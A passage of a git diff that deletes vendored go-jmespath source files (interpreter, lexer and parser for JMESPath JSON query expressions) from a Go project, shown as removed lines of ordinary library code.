if v, ok := arg.(float64); ok { - return v, nil - } - if v, ok := arg.(string); ok { - conv, err := strconv.ParseFloat(v, 64) - if err != nil { - return nil, nil - } - return conv, nil - } - if _, ok := arg.([]interface{}); ok { - return nil, nil - } - if _, ok := arg.(map[string]interface{}); ok { - return nil, nil - } - if arg == nil { - return nil, nil - } - if arg == true || arg == false { - return nil, nil - } - return nil, errors.New("unknown type") -} -func jpfNotNull(arguments []interface{}) (interface{}, error) { - for _, arg := range arguments { - if arg != nil { - return arg, nil - } - } - return nil, nil -} diff --git a/vendor/github.com/jmespath/go-jmespath/interpreter.go b/vendor/github.com/jmespath/go-jmespath/interpreter.go deleted file mode 100644 index 13c74604c2..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/interpreter.go +++ /dev/null @@ -1,418 +0,0 @@ -package jmespath - -import ( - "errors" - "reflect" - "unicode" - "unicode/utf8" -) - -/* This is a tree based interpreter. It walks the AST and directly - interprets the AST to search through a JSON document. -*/ - -type treeInterpreter struct { - fCall *functionCaller -} - -func newInterpreter() *treeInterpreter { - interpreter := treeInterpreter{} - interpreter.fCall = newFunctionCaller() - return &interpreter -} - -type expRef struct { - ref ASTNode -} - -// Execute takes an ASTNode and input data and interprets the AST directly. -// It will produce the result of applying the JMESPath expression associated -// with the ASTNode to the input data "value". -func (intr *treeInterpreter) Execute(node ASTNode, value interface{}) (interface{}, error) { - switch node.nodeType { - case ASTComparator: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - right, err := intr.Execute(node.children[1], value) - if err != nil { - return nil, err - } - switch node.value { - case tEQ: - return objsEqual(left, right), nil - case tNE: - return !objsEqual(left, right), nil - } - leftNum, ok := left.(float64) - if !ok { - return nil, nil - } - rightNum, ok := right.(float64) - if !ok { - return nil, nil - } - switch node.value { - case tGT: - return leftNum > rightNum, nil - case tGTE: - return leftNum >= rightNum, nil - case tLT: - return leftNum < rightNum, nil - case tLTE: - return leftNum <= rightNum, nil - } - case ASTExpRef: - return expRef{ref: node.children[0]}, nil - case ASTFunctionExpression: - resolvedArgs := []interface{}{} - for _, arg := range node.children { - current, err := intr.Execute(arg, value) - if err != nil { - return nil, err - } - resolvedArgs = append(resolvedArgs, current) - } - return intr.fCall.CallFunction(node.value.(string), resolvedArgs, intr) - case ASTField: - if m, ok := value.(map[string]interface{}); ok { - key := node.value.(string) - return m[key], nil - } - return intr.fieldFromStruct(node.value.(string), value) - case ASTFilterProjection: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, nil - } - sliceType, ok := left.([]interface{}) - if !ok { - if isSliceType(left) { - return intr.filterProjectionWithReflection(node, left) - } - return nil, nil - } - compareNode := node.children[2] - collected := []interface{}{} - for _, element := range sliceType { - result, err := intr.Execute(compareNode, element) - if err != nil { - return nil, err - } - if !isFalse(result) { - current, err := intr.Execute(node.children[1], element) - if err != nil { - return nil, err - } - if current != nil { - collected = append(collected, current) - } - } - } - return collected, nil - case ASTFlatten: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, nil - } - sliceType, ok := left.([]interface{}) - if !ok { - // If we can't type convert to []interface{}, there's - // a chance this could still work via reflection if we're - // dealing with user provided types. - if isSliceType(left) { - return intr.flattenWithReflection(left) - } - return nil, nil - } - flattened := []interface{}{} - for _, element := range sliceType { - if elementSlice, ok := element.([]interface{}); ok { - flattened = append(flattened, elementSlice...) - } else if isSliceType(element) { - reflectFlat := []interface{}{} - v := reflect.ValueOf(element) - for i := 0; i < v.Len(); i++ { - reflectFlat = append(reflectFlat, v.Index(i).Interface()) - } - flattened = append(flattened, reflectFlat...) - } else { - flattened = append(flattened, element) - } - } - return flattened, nil - case ASTIdentity, ASTCurrentNode: - return value, nil - case ASTIndex: - if sliceType, ok := value.([]interface{}); ok { - index := node.value.(int) - if index < 0 { - index += len(sliceType) - } - if index < len(sliceType) && index >= 0 { - return sliceType[index], nil - } - return nil, nil - } - // Otherwise try via reflection. - rv := reflect.ValueOf(value) - if rv.Kind() == reflect.Slice { - index := node.value.(int) - if index < 0 { - index += rv.Len() - } - if index < rv.Len() && index >= 0 { - v := rv.Index(index) - return v.Interface(), nil - } - } - return nil, nil - case ASTKeyValPair: - return intr.Execute(node.children[0], value) - case ASTLiteral: - return node.value, nil - case ASTMultiSelectHash: - if value == nil { - return nil, nil - } - collected := make(map[string]interface{}) - for _, child := range node.children { - current, err := intr.Execute(child, value) - if err != nil { - return nil, err - } - key := child.value.(string) - collected[key] = current - } - return collected, nil - case ASTMultiSelectList: - if value == nil { - return nil, nil - } - collected := []interface{}{} - for _, child := range node.children { - current, err := intr.Execute(child, value) - if err != nil { - return nil, err - } - collected = append(collected, current) - } - return collected, nil - case ASTOrExpression: - matched, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - if isFalse(matched) { - matched, err = intr.Execute(node.children[1], value) - if err != nil { - return nil, err - } - } - return matched, nil - case ASTAndExpression: - matched, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - if isFalse(matched) { - return matched, nil - } - return intr.Execute(node.children[1], value) - case ASTNotExpression: - matched, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - if isFalse(matched) { - return true, nil - } - return false, nil - case ASTPipe: - result := value - var err error - for _, child := range node.children { - result, err = intr.Execute(child, result) - if err != nil { - return nil, err - } - } - return result, nil - case ASTProjection: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - sliceType, ok := left.([]interface{}) - if !ok { - if isSliceType(left) { - return intr.projectWithReflection(node, left) - } - return nil, nil - } - collected := []interface{}{} - var current interface{} - for _, element := range sliceType { - current, err = intr.Execute(node.children[1], element) - if err != nil { - return nil, err - } - if current != nil { - collected = append(collected, current) - } - } - return collected, nil - case ASTSubexpression, ASTIndexExpression: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, err - } - return intr.Execute(node.children[1], left) - case ASTSlice: - sliceType, ok := value.([]interface{}) - if !ok { - if isSliceType(value) { - return intr.sliceWithReflection(node, value) - } - return nil, nil - } - parts := node.value.([]*int) - sliceParams := make([]sliceParam, 3) - for i, part := range parts { - if part != nil { - sliceParams[i].Specified = true - sliceParams[i].N = *part - } - } - return slice(sliceType, sliceParams) - case ASTValueProjection: - left, err := intr.Execute(node.children[0], value) - if err != nil { - return nil, nil - } - mapType, ok := left.(map[string]interface{}) - if !ok { - return nil, nil - } - values := make([]interface{}, len(mapType)) - for _, value := range mapType { - values = append(values, value) - } - collected := []interface{}{} - for _, element := range values { - current, err := intr.Execute(node.children[1], element) - if err != nil { - return nil, err - } - if current != nil { - collected = append(collected, current) - } - } - return collected, nil - } - return nil, errors.New("Unknown AST node: " + node.nodeType.String()) -} - -func (intr *treeInterpreter) fieldFromStruct(key string, value interface{}) (interface{}, error) { - rv := reflect.ValueOf(value) - first, n := utf8.DecodeRuneInString(key) - fieldName := string(unicode.ToUpper(first)) + key[n:] - if rv.Kind() == reflect.Struct { - v := rv.FieldByName(fieldName) - if !v.IsValid() { - return nil, nil - } - return v.Interface(), nil - } else if rv.Kind() == reflect.Ptr { - // Handle multiple levels of indirection? - if rv.IsNil() { - return nil, nil - } - rv = rv.Elem() - v := rv.FieldByName(fieldName) - if !v.IsValid() { - return nil, nil - } - return v.Interface(), nil - } - return nil, nil -} - -func (intr *treeInterpreter) flattenWithReflection(value interface{}) (interface{}, error) { - v := reflect.ValueOf(value) - flattened := []interface{}{} - for i := 0; i < v.Len(); i++ { - element := v.Index(i).Interface() - if reflect.TypeOf(element).Kind() == reflect.Slice { - // Then insert the contents of the element - // slice into the flattened slice, - // i.e flattened = append(flattened, mySlice...) - elementV := reflect.ValueOf(element) - for j := 0; j < elementV.Len(); j++ { - flattened = append( - flattened, elementV.Index(j).Interface()) - } - } else { - flattened = append(flattened, element) - } - } - return flattened, nil -} - -func (intr *treeInterpreter) sliceWithReflection(node ASTNode, value interface{}) (interface{}, error) { - v := reflect.ValueOf(value) - parts := node.value.([]*int) - sliceParams := make([]sliceParam, 3) - for i, part := range parts { - if part != nil { - sliceParams[i].Specified = true - sliceParams[i].N = *part - } - } - final := []interface{}{} - for i := 0; i < v.Len(); i++ { - element := v.Index(i).Interface() - final = append(final, element) - } - return slice(final, sliceParams) -} - -func (intr *treeInterpreter) filterProjectionWithReflection(node ASTNode, value interface{}) (interface{}, error) { - compareNode := node.children[2] - collected := []interface{}{} - v := reflect.ValueOf(value) - for i := 0; i < v.Len(); i++ { - element := v.Index(i).Interface() - result, err := intr.Execute(compareNode, element) - if err != nil { - return nil, err - } - if !isFalse(result) { - current, err := intr.Execute(node.children[1], element) - if err != nil { - return nil, err - } - if current != nil { - collected = append(collected, current) - } - } - } - return collected, nil -} - -func (intr *treeInterpreter) projectWithReflection(node ASTNode, value interface{}) (interface{}, error) { - collected := []interface{}{} - v := reflect.ValueOf(value) - for i := 0; i < v.Len(); i++ { - element := v.Index(i).Interface() - result, err := intr.Execute(node.children[1], element) - if err != nil { - return nil, err - } - if result != nil { - collected = append(collected, result) - } - } - return collected, nil -} diff --git a/vendor/github.com/jmespath/go-jmespath/lexer.go b/vendor/github.com/jmespath/go-jmespath/lexer.go deleted file mode 100644 index 817900c8f5..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/lexer.go +++ /dev/null @@ -1,420 +0,0 @@ -package jmespath - -import ( - "bytes" - "encoding/json" - "fmt" - "strconv" - "strings" - "unicode/utf8" -) - -type token struct { - tokenType tokType - value string - position int - length int -} - -type tokType int - -const eof = -1 - -// Lexer contains information about the expression being tokenized. -type Lexer struct { - expression string // The expression provided by the user. - currentPos int // The current position in the string. - lastWidth int // The width of the current rune. This - buf bytes.Buffer // Internal buffer used for building up values. -} - -// SyntaxError is the main error used whenever a lexing or parsing error occurs. -type SyntaxError struct { - msg string // Error message displayed to user - Expression string // Expression that generated a SyntaxError - Offset int // The location in the string where the error occurred -} - -func (e SyntaxError) Error() string { - // In the future, it would be good to underline the specific - // location where the error occurred. - return "SyntaxError: " + e.msg -} - -// HighlightLocation will show where the syntax error occurred. -// It will place a "^" character on a line below the expression -// at the point where the syntax error occurred. -func (e SyntaxError) HighlightLocation() string { - return e.Expression + "\n" + strings.Repeat(" ", e.Offset) + "^" -} - -//go:generate stringer -type=tokType -const ( - tUnknown tokType = iota - tStar - tDot - tFilter - tFlatten - tLparen - tRparen - tLbracket - tRbracket - tLbrace - tRbrace - tOr - tPipe - tNumber - tUnquotedIdentifier - tQuotedIdentifier - tComma - tColon - tLT - tLTE - tGT - tGTE - tEQ - tNE - tJSONLiteral - tStringLiteral - tCurrent - tExpref - tAnd - tNot - tEOF -) - -var basicTokens = map[rune]tokType{ - '.': tDot, - '*': tStar, - ',': tComma, - ':': tColon, - '{': tLbrace, - '}': tRbrace, - ']': tRbracket, // tLbracket not included because it could be "[]" - '(': tLparen, - ')': tRparen, - '@': tCurrent, -} - -// Bit mask for [a-zA-Z_] shifted down 64 bits to fit in a single uint64. -// When using this bitmask just be sure to shift the rune down 64 bits -// before checking against identifierStartBits. -const identifierStartBits uint64 = 576460745995190270 - -// Bit mask for [a-zA-Z0-9], 128 bits -> 2 uint64s. -var identifierTrailingBits = [2]uint64{287948901175001088, 576460745995190270} - -var whiteSpace = map[rune]bool{ - ' ': true, '\t': true, '\n': true, '\r': true, -} - -func (t token) String() string { - return fmt.Sprintf("Token{%+v, %s, %d, %d}", - t.tokenType, t.value, t.position, t.length) -} - -// NewLexer creates a new JMESPath lexer. -func NewLexer() *Lexer { - lexer := Lexer{} - return &lexer -} - -func (lexer *Lexer) next() rune { - if lexer.currentPos >= len(lexer.expression) { - lexer.lastWidth = 0 - return eof - } - r, w := utf8.DecodeRuneInString(lexer.expression[lexer.currentPos:]) - lexer.lastWidth = w - lexer.currentPos += w - return r -} - -func (lexer *Lexer) back() { - lexer.currentPos -= lexer.lastWidth -} - -func (lexer *Lexer) peek() rune { - t := lexer.next() - lexer.back() - return t -} - -// tokenize takes an expression and returns corresponding tokens. -func (lexer *Lexer) tokenize(expression string) ([]token, error) { - var tokens []token - lexer.expression = expression - lexer.currentPos = 0 - lexer.lastWidth = 0 -loop: - for { - r := lexer.next() - if identifierStartBits&(1<<(uint64(r)-64)) > 0 { - t := lexer.consumeUnquotedIdentifier() - tokens = append(tokens, t) - } else if val, ok := basicTokens[r]; ok { - // Basic single char token. - t := token{ - tokenType: val, - value: string(r), - position: lexer.currentPos - lexer.lastWidth, - length: 1, - } - tokens = append(tokens, t) - } else if r == '-' || (r >= '0' && r <= '9') { - t := lexer.consumeNumber() - tokens = append(tokens, t) - } else if r == '[' { - t := lexer.consumeLBracket() - tokens = append(tokens, t) - } else if r == '"' { - t, err := lexer.consumeQuotedIdentifier() - if err != nil { - return tokens, err - } - tokens = append(tokens, t) - } else if r == '\'' { - t, err := lexer.consumeRawStringLiteral() - if err != nil { - return tokens, err - } - tokens = append(tokens, t) - } else if r == '`' { - t, err := lexer.consumeLiteral() - if err != nil { - return tokens, err - } - tokens = append(tokens, t) - } else if r == '|' { - t := lexer.matchOrElse(r, '|', tOr, tPipe) - tokens = append(tokens, t) - } else if r == '<' { - t := lexer.matchOrElse(r, '=', tLTE, tLT) - tokens = append(tokens, t) - } else if r == '>' { - t := lexer.matchOrElse(r, '=', tGTE, tGT) - tokens = append(tokens, t) - } else if r == '!' { - t := lexer.matchOrElse(r, '=', tNE, tNot) - tokens = append(tokens, t) - } else if r == '=' { - t := lexer.matchOrElse(r, '=', tEQ, tUnknown) - tokens = append(tokens, t) - } else if r == '&' { - t := lexer.matchOrElse(r, '&', tAnd, tExpref) - tokens = append(tokens, t) - } else if r == eof { - break loop - } else if _, ok := whiteSpace[r]; ok { - // Ignore whitespace - } else { - return tokens, lexer.syntaxError(fmt.Sprintf("Unknown char: %s", strconv.QuoteRuneToASCII(r))) - } - } - tokens = append(tokens, token{tEOF, "", len(lexer.expression), 0}) - return tokens, nil -} - -// Consume characters until the ending rune "r" is reached. -// If the end of the expression is reached before seeing the -// terminating rune "r", then an error is returned. -// If no error occurs then the matching substring is returned. -// The returned string will not include the ending rune. -func (lexer *Lexer) consumeUntil(end rune) (string, error) { - start := lexer.currentPos - current := lexer.next() - for current != end && current != eof { - if current == '\\' && lexer.peek() != eof { - lexer.next() - } - current = lexer.next() - } - if lexer.lastWidth == 0 { - // Then we hit an EOF so we never reached the closing - // delimiter. - return "", SyntaxError{ - msg: "Unclosed delimiter: " + string(end), - Expression: lexer.expression, - Offset: len(lexer.expression), - } - } - return lexer.expression[start : lexer.currentPos-lexer.lastWidth], nil -} - -func (lexer *Lexer) consumeLiteral() (token, error) { - start := lexer.currentPos - value, err := lexer.consumeUntil('`') - if err != nil { - return token{}, err - } - value = strings.Replace(value, "\\`", "`", -1) - return token{ - tokenType: tJSONLiteral, - value: value, - position: start, - length: len(value), - }, nil -} - -func (lexer *Lexer) consumeRawStringLiteral() (token, error) { - start := lexer.currentPos - currentIndex := start - current := lexer.next() - for current != '\'' && lexer.peek() != eof { - if current == '\\' && lexer.peek() == '\'' { - chunk := lexer.expression[currentIndex : lexer.currentPos-1] - lexer.buf.WriteString(chunk) - lexer.buf.WriteString("'") - lexer.next() - currentIndex = lexer.currentPos - } - current = lexer.next() - } - if lexer.lastWidth == 0 { - // Then we hit an EOF so we never reached the closing - // delimiter. - return token{}, SyntaxError{ - msg: "Unclosed delimiter: '", - Expression: lexer.expression, - Offset: len(lexer.expression), - } - } - if currentIndex < lexer.currentPos { - lexer.buf.WriteString(lexer.expression[currentIndex : lexer.currentPos-1]) - } - value := lexer.buf.String() - // Reset the buffer so it can reused again. - lexer.buf.Reset() - return token{ - tokenType: tStringLiteral, - value: value, - position: start, - length: len(value), - }, nil -} - -func (lexer *Lexer) syntaxError(msg string) SyntaxError { - return SyntaxError{ - msg: msg, - Expression: lexer.expression, - Offset: lexer.currentPos - 1, - } -} - -// Checks for a two char token, otherwise matches a single character -// token. This is used whenever a two char token overlaps a single -// char token, e.g. "||" -> tPipe, "|" -> tOr. -func (lexer *Lexer) matchOrElse(first rune, second rune, matchedType tokType, singleCharType tokType) token { - start := lexer.currentPos - lexer.lastWidth - nextRune := lexer.next() - var t token - if nextRune == second { - t = token{ - tokenType: matchedType, - value: string(first) + string(second), - position: start, - length: 2, - } - } else { - lexer.back() - t = token{ - tokenType: singleCharType, - value: string(first), - position: start, - length: 1, - } - } - return t -} - -func (lexer *Lexer) consumeLBracket() token { - // There's three options here: - // 1. A filter expression "[?" - // 2. A flatten operator "[]" - // 3. A bare rbracket "[" - start := lexer.currentPos - lexer.lastWidth - nextRune := lexer.next() - var t token - if nextRune == '?' { - t = token{ - tokenType: tFilter, - value: "[?", - position: start, - length: 2, - } - } else if nextRune == ']' { - t = token{ - tokenType: tFlatten, - value: "[]", - position: start, - length: 2, - } - } else { - t = token{ - tokenType: tLbracket, - value: "[", - position: start, - length: 1, - } - lexer.back() - } - return t -} - -func (lexer *Lexer) consumeQuotedIdentifier() (token, error) { - start := lexer.currentPos - value, err := lexer.consumeUntil('"') - if err != nil { - return token{}, err - } - var decoded string - asJSON := []byte("\"" + value + "\"") - if err := json.Unmarshal([]byte(asJSON), &decoded); err != nil { - return token{}, err - } - return token{ - tokenType: tQuotedIdentifier, - value: decoded, - position: start - 1, - length: len(decoded), - }, nil -} - -func (lexer *Lexer) consumeUnquotedIdentifier() token { - // Consume runes until we reach the end of an unquoted - // identifier. - start := lexer.currentPos - lexer.lastWidth - for { - r := lexer.next() - if r < 0 || r > 128 || identifierTrailingBits[uint64(r)/64]&(1<<(uint64(r)%64)) == 0 { - lexer.back() - break - } - } - value := lexer.expression[start:lexer.currentPos] - return token{ - tokenType: tUnquotedIdentifier, - value: value, - position: start, - length: lexer.currentPos - start, - } -} - -func (lexer *Lexer) consumeNumber() token { - // Consume runes until we reach something that's not a number. - start := lexer.currentPos - lexer.lastWidth - for { - r := lexer.next() - if r < '0' || r > '9' { - lexer.back() - break - } - } - value := lexer.expression[start:lexer.currentPos] - return token{ - tokenType: tNumber, - value: value, - position: start, - length: lexer.currentPos - start, - } -} diff --git a/vendor/github.com/jmespath/go-jmespath/parser.go b/vendor/github.com/jmespath/go-jmespath/parser.go deleted file mode 100644 index 1240a17552..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/parser.go +++ /dev/null @@ -1,603 +0,0 @@ -package jmespath - -import ( - "encoding/json" - "fmt" - "strconv" - "strings" -) - -type astNodeType int - -//go:generate stringer -type astNodeType -const ( - ASTEmpty astNodeType = iota - ASTComparator - ASTCurrentNode - ASTExpRef - ASTFunctionExpression - ASTField - ASTFilterProjection - ASTFlatten - ASTIdentity - ASTIndex - ASTIndexExpression - ASTKeyValPair - ASTLiteral - ASTMultiSelectHash - ASTMultiSelectList - ASTOrExpression - ASTAndExpression - ASTNotExpression - ASTPipe - ASTProjection - ASTSubexpression - ASTSlice - ASTValueProjection -) - -// ASTNode represents the abstract syntax tree of a JMESPath expression. -type ASTNode struct { - nodeType astNodeType - value interface{} - children []ASTNode -} - -func (node ASTNode) String() string { - return node.PrettyPrint(0) -} - -// PrettyPrint will pretty print the parsed AST. -// The AST is an implementation detail and this pretty print -// function is provided as a convenience method to help with -// debugging. You should not rely on its output as the internal -// structure of the AST may change at any time. -func (node ASTNode) PrettyPrint(indent int) string { - spaces := strings.Repeat(" ", indent) - output := fmt.Sprintf("%s%s {\n", spaces, node.nodeType) - nextIndent := indent + 2 - if node.value != nil { - if converted, ok := node.value.(fmt.Stringer); ok { - // Account for things like comparator nodes - // that are enums with a String() method. - output += fmt.Sprintf("%svalue: %s\n", strings.Repeat(" ", nextIndent), converted.String()) - } else { - output += fmt.Sprintf("%svalue: %#v\n", strings.Repeat(" ", nextIndent), node.value) - } - } - lastIndex := len(node.children) - if lastIndex > 0 { - output += fmt.Sprintf("%schildren: {\n", strings.Repeat(" ", nextIndent)) - childIndent := nextIndent + 2 - for _, elem := range node.children { - output += elem.PrettyPrint(childIndent) - } - } - output += fmt.Sprintf("%s}\n", spaces) - return output -} - -var bindingPowers = map[tokType]int{ - tEOF: 0, - tUnquotedIdentifier: 0, - tQuotedIdentifier: 0, - tRbracket: 0, - tRparen: 0, - tComma: 0, - tRbrace: 0, - tNumber: 0, - tCurrent: 0, - tExpref: 0, - tColon: 0, - tPipe: 1, - tOr: 2, - tAnd: 3, - tEQ: 5, - tLT: 5, - tLTE: 5, - tGT: 5, - tGTE: 5, - tNE: 5, - tFlatten: 9, - tStar: 20, - tFilter: 21, - tDot: 40, - tNot: 45, - tLbrace: 50, - tLbracket: 55, - tLparen: 60, -} - -// Parser holds state about the current expression being parsed. -type Parser struct { - expression string - tokens []token - index int -} - -// NewParser creates a new JMESPath parser. -func NewParser() *Parser { - p := Parser{} - return &p -} - -// Parse will compile a JMESPath expression. -func (p *Parser) Parse(expression string) (ASTNode, error) { - lexer := NewLexer() - p.expression = expression - p.index = 0 - tokens, err := lexer.tokenize(expression) - if err != nil { - return ASTNode{}, err - } - p.tokens = tokens - parsed, err := p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - if p.current() != tEOF { - return ASTNode{}, p.syntaxError(fmt.Sprintf( - "Unexpected token at the end of the expresssion: %s", p.current())) - } - return parsed, nil -} - -func (p *Parser) parseExpression(bindingPower int) (ASTNode, error) { - var err error - leftToken := p.lookaheadToken(0) - p.advance() - leftNode, err := p.nud(leftToken) - if err != nil { - return ASTNode{}, err - } - currentToken := p.current() - for bindingPower < bindingPowers[currentToken] { - p.advance() - leftNode, err = p.led(currentToken, leftNode) - if err != nil { - return ASTNode{}, err - } - currentToken = p.current() - } - return leftNode, nil -} - -func (p *Parser) parseIndexExpression() (ASTNode, error) { - if p.lookahead(0) == tColon || p.lookahead(1) == tColon { - return p.parseSliceExpression() - } - indexStr := p.lookaheadToken(0).value - parsedInt, err := strconv.Atoi(indexStr) - if err != nil { - return ASTNode{}, err - } - indexNode := ASTNode{nodeType: ASTIndex, value: parsedInt} - p.advance() - if err := p.match(tRbracket); err != nil { - return ASTNode{}, err - } - return indexNode, nil -} - -func (p *Parser) parseSliceExpression() (ASTNode, error) { - parts := []*int{nil, nil, nil} - index := 0 - current := p.current() - for current != tRbracket && index < 3 { - if current == tColon { - index++ - p.advance() - } else if current == tNumber { - parsedInt, err := strconv.Atoi(p.lookaheadToken(0).value) - if err != nil { - return ASTNode{}, err - } - parts[index] = &parsedInt - p.advance() - } else { - return ASTNode{}, p.syntaxError( - "Expected tColon or tNumber" + ", received: " + p.current().String()) - } - current = p.current() - } - if err := p.match(tRbracket); err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTSlice, - value: parts, - }, nil -} - -func (p *Parser) match(tokenType tokType) error { - if p.current() == tokenType { - p.advance() - return nil - } - return p.syntaxError("Expected " + tokenType.String() + ", received: " + p.current().String()) -} - -func (p *Parser) led(tokenType tokType, node ASTNode) (ASTNode, error) { - switch tokenType { - case tDot: - if p.current() != tStar { - right, err := p.parseDotRHS(bindingPowers[tDot]) - return ASTNode{ - nodeType: ASTSubexpression, - children: []ASTNode{node, right}, - }, err - } - p.advance() - right, err := p.parseProjectionRHS(bindingPowers[tDot]) - return ASTNode{ - nodeType: ASTValueProjection, - children: []ASTNode{node, right}, - }, err - case tPipe: - right, err := p.parseExpression(bindingPowers[tPipe]) - return ASTNode{nodeType: ASTPipe, children: []ASTNode{node, right}}, err - case tOr: - right, err := p.parseExpression(bindingPowers[tOr]) - return ASTNode{nodeType: ASTOrExpression, children: []ASTNode{node, right}}, err - case tAnd: - right, err := p.parseExpression(bindingPowers[tAnd]) - return ASTNode{nodeType: ASTAndExpression, children: []ASTNode{node, right}}, err - case tLparen: - name := node.value - var args []ASTNode - for p.current() != tRparen { - expression, err := p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - if p.current() == tComma { - if err := p.match(tComma); err != nil { - return ASTNode{}, err - } - } - args = append(args, expression) - } - if err := p.match(tRparen); err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTFunctionExpression, - value: name, - children: args, - }, nil - case tFilter: - return p.parseFilter(node) - case tFlatten: - left := ASTNode{nodeType: ASTFlatten, children: []ASTNode{node}} - right, err := p.parseProjectionRHS(bindingPowers[tFlatten]) - return ASTNode{ - nodeType: ASTProjection, - children: []ASTNode{left, right}, - }, err - case tEQ, tNE, tGT, tGTE, tLT, tLTE: - right, err := p.parseExpression(bindingPowers[tokenType]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTComparator, - value: tokenType, - children: []ASTNode{node, right}, - }, nil - case tLbracket: - tokenType := p.current() - var right ASTNode - var err error - if tokenType == tNumber || tokenType == tColon { - right, err = p.parseIndexExpression() - if err != nil { - return ASTNode{}, err - } - return p.projectIfSlice(node, right) - } - // Otherwise this is a projection. - if err := p.match(tStar); err != nil { - return ASTNode{}, err - } - if err := p.match(tRbracket); err != nil { - return ASTNode{}, err - } - right, err = p.parseProjectionRHS(bindingPowers[tStar]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTProjection, - children: []ASTNode{node, right}, - }, nil - } - return ASTNode{}, p.syntaxError("Unexpected token: " + tokenType.String()) -} - -func (p *Parser) nud(token token) (ASTNode, error) { - switch token.tokenType { - case tJSONLiteral: - var parsed interface{} - err := json.Unmarshal([]byte(token.value), &parsed) - if err != nil { - return ASTNode{}, err - } - return ASTNode{nodeType: ASTLiteral, value: parsed}, nil - case tStringLiteral: - return ASTNode{nodeType: ASTLiteral, value: token.value}, nil - case tUnquotedIdentifier: - return ASTNode{ - nodeType: ASTField, - value: token.value, - }, nil - case tQuotedIdentifier: - node := ASTNode{nodeType: ASTField, value: token.value} - if p.current() == tLparen { - return ASTNode{}, p.syntaxErrorToken("Can't have quoted identifier as function name.", token) - } - return node, nil - case tStar: - left := ASTNode{nodeType: ASTIdentity} - var right ASTNode - var err error - if p.current() == tRbracket { - right = ASTNode{nodeType: ASTIdentity} - } else { - right, err = p.parseProjectionRHS(bindingPowers[tStar]) - } - return ASTNode{nodeType: ASTValueProjection, children: []ASTNode{left, right}}, err - case tFilter: - return p.parseFilter(ASTNode{nodeType: ASTIdentity}) - case tLbrace: - return p.parseMultiSelectHash() - case tFlatten: - left := ASTNode{ - nodeType: ASTFlatten, - children: []ASTNode{{nodeType: ASTIdentity}}, - } - right, err := p.parseProjectionRHS(bindingPowers[tFlatten]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{nodeType: ASTProjection, children: []ASTNode{left, right}}, nil - case tLbracket: - tokenType := p.current() - //var right ASTNode - if tokenType == tNumber || tokenType == tColon { - right, err := p.parseIndexExpression() - if err != nil { - return ASTNode{}, nil - } - return p.projectIfSlice(ASTNode{nodeType: ASTIdentity}, right) - } else if tokenType == tStar && p.lookahead(1) == tRbracket { - p.advance() - p.advance() - right, err := p.parseProjectionRHS(bindingPowers[tStar]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTProjection, - children: []ASTNode{{nodeType: ASTIdentity}, right}, - }, nil - } else { - return p.parseMultiSelectList() - } - case tCurrent: - return ASTNode{nodeType: ASTCurrentNode}, nil - case tExpref: - expression, err := p.parseExpression(bindingPowers[tExpref]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{nodeType: ASTExpRef, children: []ASTNode{expression}}, nil - case tNot: - expression, err := p.parseExpression(bindingPowers[tNot]) - if err != nil { - return ASTNode{}, err - } - return ASTNode{nodeType: ASTNotExpression, children: []ASTNode{expression}}, nil - case tLparen: - expression, err := p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - if err := p.match(tRparen); err != nil { - return ASTNode{}, err - } - return expression, nil - case tEOF: - return ASTNode{}, p.syntaxErrorToken("Incomplete expression", token) - } - - return ASTNode{}, p.syntaxErrorToken("Invalid token: "+token.tokenType.String(), token) -} - -func (p *Parser) parseMultiSelectList() (ASTNode, error) { - var expressions []ASTNode - for { - expression, err := p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - expressions = append(expressions, expression) - if p.current() == tRbracket { - break - } - err = p.match(tComma) - if err != nil { - return ASTNode{}, err - } - } - err := p.match(tRbracket) - if err != nil { - return ASTNode{}, err - } - return ASTNode{ - nodeType: ASTMultiSelectList, - children: expressions, - }, nil -} - -func (p *Parser) parseMultiSelectHash() (ASTNode, error) { - var children []ASTNode - for { - keyToken := p.lookaheadToken(0) - if err := p.match(tUnquotedIdentifier); err != nil { - if err := p.match(tQuotedIdentifier); err != nil { - return ASTNode{}, p.syntaxError("Expected tQuotedIdentifier or tUnquotedIdentifier") - } - } - keyName := keyToken.value - err := p.match(tColon) - if err != nil { - return ASTNode{}, err - } - value, err := p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - node := ASTNode{ - nodeType: ASTKeyValPair, - value: keyName, - children: []ASTNode{value}, - } - children = append(children, node) - if p.current() == tComma { - err := p.match(tComma) - if err != nil { - return ASTNode{}, nil - } - } else if p.current() == tRbrace { - err := p.match(tRbrace) - if err != nil { - return ASTNode{}, nil - } - break - } - } - return ASTNode{ - nodeType: ASTMultiSelectHash, - children: children, - }, nil -} - -func (p *Parser) projectIfSlice(left ASTNode, right ASTNode) (ASTNode, error) { - indexExpr := ASTNode{ - nodeType: ASTIndexExpression, - children: []ASTNode{left, right}, - } - if right.nodeType == ASTSlice { - right, err := p.parseProjectionRHS(bindingPowers[tStar]) - return ASTNode{ - nodeType: ASTProjection, - children: []ASTNode{indexExpr, right}, - }, err - } - return indexExpr, nil -} -func (p *Parser) parseFilter(node ASTNode) (ASTNode, error) { - var right, condition ASTNode - var err error - condition, err = p.parseExpression(0) - if err != nil { - return ASTNode{}, err - } - if err := p.match(tRbracket); err != nil { - return ASTNode{}, err - } - if p.current() == tFlatten { - right = ASTNode{nodeType: 